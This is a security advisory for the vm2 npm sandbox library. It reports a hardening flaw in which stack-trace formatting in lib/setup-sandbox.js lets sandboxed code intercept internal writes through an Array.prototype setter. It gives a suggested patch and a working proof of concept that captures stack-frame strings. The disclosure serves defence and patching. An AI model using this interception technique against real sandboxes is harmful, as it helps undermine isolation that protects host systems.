PT-2026-47577 · Npm · Vm2

Published

2026-05-29

·

Updated

2026-05-29

CVSS v4.0

2.1

Low

VectorAV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

Summary

defaultSandboxPrepareStackTrace in lib/setup-sandbox.js (lines 605, 607) appends to a fresh sandbox-realm lines = [] via lines[lines.length] = value. This is the exact invariant-violating pattern that GHSA-9qj6-qjgg-37qq (commit ca195f0, 2026-05-01) just patched in neutralizeArraySpeciesBatch and codified as Defense Invariant #11 ("Bridge-internal containers must not invoke sandbox code"). A sandbox-installed Array.prototype[N] setter fires during the bridge's safe-default stack-trace formatting and observes / intercepts each appended line.

Details

The post-9qj6 audit note in docs/ATTACKS.md (line 2111) states:
Equivalent pattern elsewhere in the bridge: audited; thisFromOtherArguments, otherFromThisArguments, and every other index-write site already use thisReflectDefineProperty or otherReflectDefineProperty. neutralizeArraySpeciesBatch was the lone outlier.
The audit is scoped to lib/bridge.js. lib/setup-sandbox.js was not covered. defaultSandboxPrepareStackTrace (added under post-#563 hardening for GHSA-v27g) constructs a sandbox-realm [header] array and appends each frame via the prototype-walking index assignment:
// lib/setup-sandbox.js, lines 601-610
const lines = [header];
for (let i = 0; i < callSites.length; i++) {
  try {
    lines[lines.length] = '  at ' + callSites[i];
  } catch (e) {
    lines[lines.length] = '  at <error formatting frame>';
  }
}
return lines.join('
');
This function runs every time sandbox code reads error.stack (or any path that triggers Error.prepareStackTrace). At the time it runs, user code has already had the opportunity to install a setter on Array.prototype[N]. Because lines starts at length 1, the first iteration writes index 1; if lines[1] has no own data property, V8 walks the prototype chain and invokes the sandbox-controlled setter.
The currently-assigned value is the string ' at ' + callSites[i] (the wrapped CallSite class's safe toString() returns 'CallSite {}'), which limits the immediate impact to a side channel, not an RCE pivot. The concern is structural rather than exploit-today:
  • The just-codified Defense Invariant #11 explicitly requires that any list, set, or map allocated for the bridge's exclusive use must read and write through identity-stable, prototype-bypassing primitives. This site does not.
  • The catch branch at line 607 also uses the same pattern, so a sandbox getter that throws on callSites[i] access still routes its retry write through the prototype chain.
  • A future change that makes the appended slot value an object holding a host-realm reference (for example, an enriched frame record) would re-introduce the exact GHSA-9qj6 attack shape against this codepath.
The fix is mechanical and mirrors the GHSA-9qj6 patch: install entries via localReflectDefineProperty so each appended slot is an own data property and the prototype-chain setter is bypassed.
// Suggested patch (sketch)
let linesLen = 1;
function append(s) {
  localReflectDefineProperty(lines, linesLen, {
     proto : null,
    value: s,
    writable: true,
    enumerable: true,
    configurable: true,
  });
  linesLen++;
}
for (let i = 0; i < callSites.length; i++) {
  try {
    append('  at ' + callSites[i]);
  } catch (e) {
    append('  at <error formatting frame>');
  }
}
The same pattern at callSiteGetters[callSiteGetters.length] = {...} (line 649) runs only at sandbox setup, before user code can install setters, so it is safe today. Converting it for symmetry would be cheap and forward-compatible.

PoC

vm2 v3.11.2, Node v24.
const { VM } = require('vm2');
const result = new VM().run(`
  var observed = { setterFired: false, capturedValue: null, indexFired: null };
  Object.defineProperty(Array.prototype, 1, {
    configurable: true,
    set(value) {
      observed.setterFired = true;
      observed.indexFired = 1;
      observed.capturedValue =
        typeof value === 'string' ? value.slice(0, 40) : typeof value;
    },
    get() { return undefined; }
  });
  var e = new Error('x');
  e.stack;
  observed;
`);
console.log(result);
// {
//  setterFired: true,
//  capturedValue: '  at CallSite {}',
//  indexFired: 1
// }
Sandbox code observed and intercepted the bridge-internal write to lines[1]. Repeating the PoC with the setter installed at multiple indices (0, 1, 2, ...) captures every frame the formatter would otherwise return.

Impact

Hardening / Defense Invariant #11 violation. No direct sandbox escape on the current codebase: the value passed to the setter is a primitive string after the wrapped CallSite.toString(), so attacker-controlled code does not gain a host-realm reference from the setter argument alone. The GHSA-9qj6 entry's "Considered Attack Surfaces" note states the audit covered lib/bridge.js index-write sites; this filing reports the equivalent pattern in lib/setup-sandbox.js so the invariant is uniform across the bridge boundary and future enrichments of the appended record cannot regress into the GHSA-9qj6 shape.

Fix

Protection Mechanism Failure

Weakness Enumeration

Related Identifiers

GHSA-Q3FM-4WCW-G57X

Affected Products

Vm2